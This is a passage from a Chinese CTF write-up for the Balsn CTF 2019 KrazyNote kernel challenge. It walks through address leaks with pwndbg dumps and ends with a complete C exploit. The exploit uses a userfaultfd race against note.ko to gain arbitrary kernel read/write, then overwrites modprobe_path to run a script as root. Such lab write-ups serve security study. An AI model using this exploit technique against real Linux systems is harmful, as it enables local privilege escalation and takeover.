那么,接下来我们 将 contentPtr - 0x2568,得到 此时 module_base-page_offset_base的值 module_base_off 。这里为什么减去 0x2568,是因为 note[2]真实的 contentPtr位于 note.ko偏移 0x2568处。如下所示:
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000 //note[0].key note[0].length
0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000 //note[0].contentPtr note[1],key
0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550 //note[1].length note[1].contentPtr
0xffffffffc021c550: 0xffff8df0c6738000 0x0000000000000000 //note[2].key
0xffffffffc021c560: 0x0000720f0021c568 0x0000000000000000 //note[2].contentPtr
0xffffffffc021c570: 0x0000000000000000 0x0000000000000000
那么接下来,我们只需要用 module_base_off加上 我们想用的 note.ko里的偏移,就能实现对 note.ko 读写。这里,用到了一个十分巧妙地 代码:
.text:00000000000001F7 140 4C 8B 25 12 2A 00 00 mov r12, cs:page_offset_base
.text:00000000000001FE 140 4C 03 60 10 add r12, [rax+10h]
再这个代码处,用到了 page_offset_base,而这句代码是将 page_offset_base在 note.ko地基址相对于 0x1fe 的偏移 page_offset_base_offset 赋值给 r12。而 这个 page_offset_base_offset 是程序在动态执行才会被 确定的,所以我们需要 先输出 note.ko+0x1fa的值,如下所示,可以看到前 4字节 0xf9881aa2 就是 page_offset_base_offset。而这里输出 note.ko+0x1fa的方法是 将 note[2].contentPtr改为 module_base_off+0x1fa,如下所示。
pwndbg> x/10xg 0xffffffffc021a000+0x1fa
0xffffffffc021a1fa: 0x1060034cf9881aa2 0xf8c3ff86e8ee8948 //page_offset_base_offset = 0xf9881aa2
0xffffffffc021a20a: 0x8948ee894cea8948 0x8548f8d39c68e8df
0xffffffffc021a21a: 0x4824048b482b74ed 0x31c021e520c50c8b
//leak page_offset_base_offset
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000
0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000
0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550
0xffffffffc021c550: 0x0000000000000000 0x0000000000000004
0xffffffffc021c560: 0x0000720f0021a1fa 0x0000000000000000 //note[2].contentPtr
0xffffffffc021c570: 0x0000000000000000 0x0000000000000000
通过上面的方法得到 page_offset_base_offset后,我们就可以得到note.ko里的 page_offset_base的地址 page_offset_base_addr,其为 module_base_off+page_offset_base_offset+0x1fe,这里 还需要加 0x1fe的原因是 这里的 page_offset_base+offset是相对 0x1fe地址的,并不是 module_base。然后,我们就可以通过 page_offset_base_addr泄露 page_offset_base了。
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000
0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000
0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550
0xffffffffc021c550: 0x0000000000000000 0x0000000000000008
0xffffffffc021c560: 0x0000720ef9a9bca0 0x0000000000000000 //note[2].contentPtr
*RDI 0x7ffd7ec4ff20 —▸ 0x4da0c0 —▸ 0x401de0 ◂— endbr64
*RSI 0xffff9e45c021bd58 —▸ 0xffff8df0c0000000 ◂— push rbx /* 0xf000ff53f000ff53 */
//page_offset_base=0xffff8df0c0000000
这里,我们得到 page_offset_base后,就可以实现任意地址 读写了。后续提权的方法 可以使用 覆写 cred结构体,也可以使用 覆写modprobe_path。例如,我们通过 爆破遍历 到了 cred的地址,我们需要修改 cred时,需要将 note[2].contentPtr改为 (cred_addr-page_offset_base)^key的值即可。
注意,如果利用覆写 cred结构体,上面的步骤和泄露的数据已经足够。但是如果要利用 modprobe_path来说,则还需要知道 kernel_base。那么我们如何泄露呢?
在已经知道 page_offset_base的情况下, module_base_off-page_offset_base = module_base;
然后,如何泄露 kernel_base?我们可以利用上面泄露 page_offset_base的方法, 这里可以利用 note.ko里 用到 copy_to_user或 copy_from_user的地址,例如下所示:
.text:000000000000006C 140 E8 7F 2B 00 00 call _copy_from_user
.text:0000000000000071 140 48 85 C0 test rax, rax
这里调用了 copy_from_user函数,我们修改 contentPtr为 module_base_off+0x6d,然后泄露得到 copy_from_user_off相对于 0x71的偏移。那么此时 copy_from_user_addr为 module_base+0x71+copy_from_user_off。我们得到 copy_from_user函数的地址后,再减去我们通过静态分析得到的 copy_from_user相对于 kernel_base的偏移,即可得到 kernel_base的值。
得到 kernel_base之后,就可以按照之前所讲的获得 modprobe_path的方法来获得 modprobe_path地址。
EXP
// gcc -static -pthread exp.c -g -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
typedef struct noteRequest{
size_t idx;
size_t length;
char* buf;
}NoteReq;
int fd;
char buffer[0x1000] = { 0 };
size_t fault_ptr;
void init(){
fd = open("/dev/note", 0);
if (fd < 0){
printf("open fd error\n");
exit(-1);
}
puts("Open device ok\n");
}
void New(char*buf, uint8_t length){
NoteReq req;
req.length = length;
req.buf = buf;
if(-1 == ioctl(fd, -256, &req)){
puts("New error\n");
exit(-1);
}
}
void Edit(uint8_t idx, char* buf, uint8_t len){
NoteReq req;
req.idx = idx;
req.length = len;
req.buf = buf;
if(-1 == ioctl(fd, -255, &req)){
puts("Edit err\n");
exit(-1);
}
}
void Show(uint8_t idx, char* buf){
NoteReq req;
req.idx = idx;
req.buf = buf;
if(-1 == ioctl(fd, -254, &req)){
puts("Show err\n");
exit(-1);
}
}
void Delete(){
NoteReq req;
if(-1 == ioctl(fd, -253, &req)){
puts("Delete err\n");
exit(-1);
}
}
void* handler(void *arg){
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] Handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待,直到copy_from_user访问FAULT_PAGE
{
puts("wrong pool return\n");
exit(-1);
}
printf("[+] Begin handler\n");
//here, we can write our own code
Delete();
New(buffer, 0); //note[0]
New(buffer, 0); //note[1]
buffer[8]=0xff; //change note[1].length
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
{
puts("uffd read err\n");
exit(-1);
}
struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; //把note1 的length改成0xf0
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)fault_ptr;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
puts("[+] handle finished");
return NULL;
}
size_t register_userfault(){
long uffd;
char *addr;
size_t len = 0x1000;
pthread_t thr;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
puts("userfaultfd\n");
exit(-1);
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd
{
puts("ioctl uffd err\n");
exit(-1);
}
addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
{
puts("map err\n");
exit(-1);
}
printf("Address returned by mmap() = %p\n", addr);
uffdio_register.range.start = (size_t) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user
// //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
{
puts("ioctl register err\n");
exit(-1);
}
s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
if (s != 0) {
errno = s;
puts("pthread create err\n");
exit(-1);
}
return addr;
}
int main()
{
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/note/flag\n/bin/chmod 777 /home/note/flag' > /home/note/getflag.sh");
system("chmod +x /home/note/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/ll");
system("chmod +x /home/note/ll");
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
init();
New(buffer, 0x10);
fault_ptr = register_userfault();
Edit(0, fault_ptr, 0x10);
Show(1, buffer);
size_t key = *(size_t*)buffer;
printf("key is 0x%lx\n",key);
New(buffer, 0x0); //note[2]
Show(1, buffer);
//leak module_base_off
size_t note2ContPtr = *(size_t*)(buffer+0x10)^key;
size_t module_base_off = note2ContPtr - 0x2568;
printf("note2ContPtr: 0x%lx \nmodule_base_off: 0x%lx\n",note2ContPtr, module_base_off);
unsigned long* fake_note = (unsigned long*)buffer;
fake_note[0] = key^0;
fake_note[1] = 4^key;
fake_note[2] = (module_base_off+0x1fa)^key;
Edit(1, fake_note, 0x18);
//leak page_offset_base_offset
int page_offset_base_offset = 0;
Show(2, (char*)&page_offset_base_offset);
printf("page_offset_base_offset: %x\n", page_offset_base_offset);
size_t page_offset_base_addr = page_offset_base_offset + module_base_off + 0x1fe;
printf("page_offset_base_addr: 0x%lx\n", page_offset_base_addr);
//leak page_offset_base
fake_note[0] = key^0;
fake_note[1] = 0x8^key;
fake_note[2] = page_offset_base_addr^key;
Edit(1, fake_note, 0x18);
size_t page_offset_base = 0;
Show(2, (char*)&page_offset_base);
printf("page_offset_base: 0x%lx\n", page_offset_base);
size_t module_base = module_base_off + page_offset_base;
printf("module_base: 0x%lx\n", module_base);
//leak module_base
fake_note[0] = key^0;
fake_note[1] = 0x4^key;
fake_note[2] = (module_base_off+0x6d)^key;
Edit(1, fake_note, 0x18);
int copy_from_user_off = 0;
Show(2, (char*)©_from_user_off);
printf("copy_from_user_off: 0x%x\n", copy_from_user_off);
size_t copy_from_user_addr = copy_from_user_off+0x71+module_base;
size_t kernel_base = copy_from_user_addr - (0xae553e80-0xae200000);
printf("copy_from_user_addr: 0x%lx\n kernel_base: 0x%lx\n",copy_from_user_addr, kernel_base);
size_t modprobe_path = kernel_base + (0xb1c5e0e0 - 0xb0c00000);
printf("modprobe_path: 0x%lx\n", modprobe_path);
char* buf = malloc(0x50);
memset(buf, '\x00', 0x50);
strcpy(buf, "/home/note/getflag.sh\0");
//change modprobe_path
fake_note[0] = key^0;
fake_note[1] = 0x50^key;
fake_note[2] = (modprobe_path-page_offset_base)^key;
Edit(1, fake_note, 0x18);
Edit(2, buf, 0x50);
system("/home/note/ll");
system("cat /home/note/flag");
return 0;
}
参考
【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote
Linux Kernel Userfaultfd 内部机制探究
userfaultfd(2) — Linux manual page
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论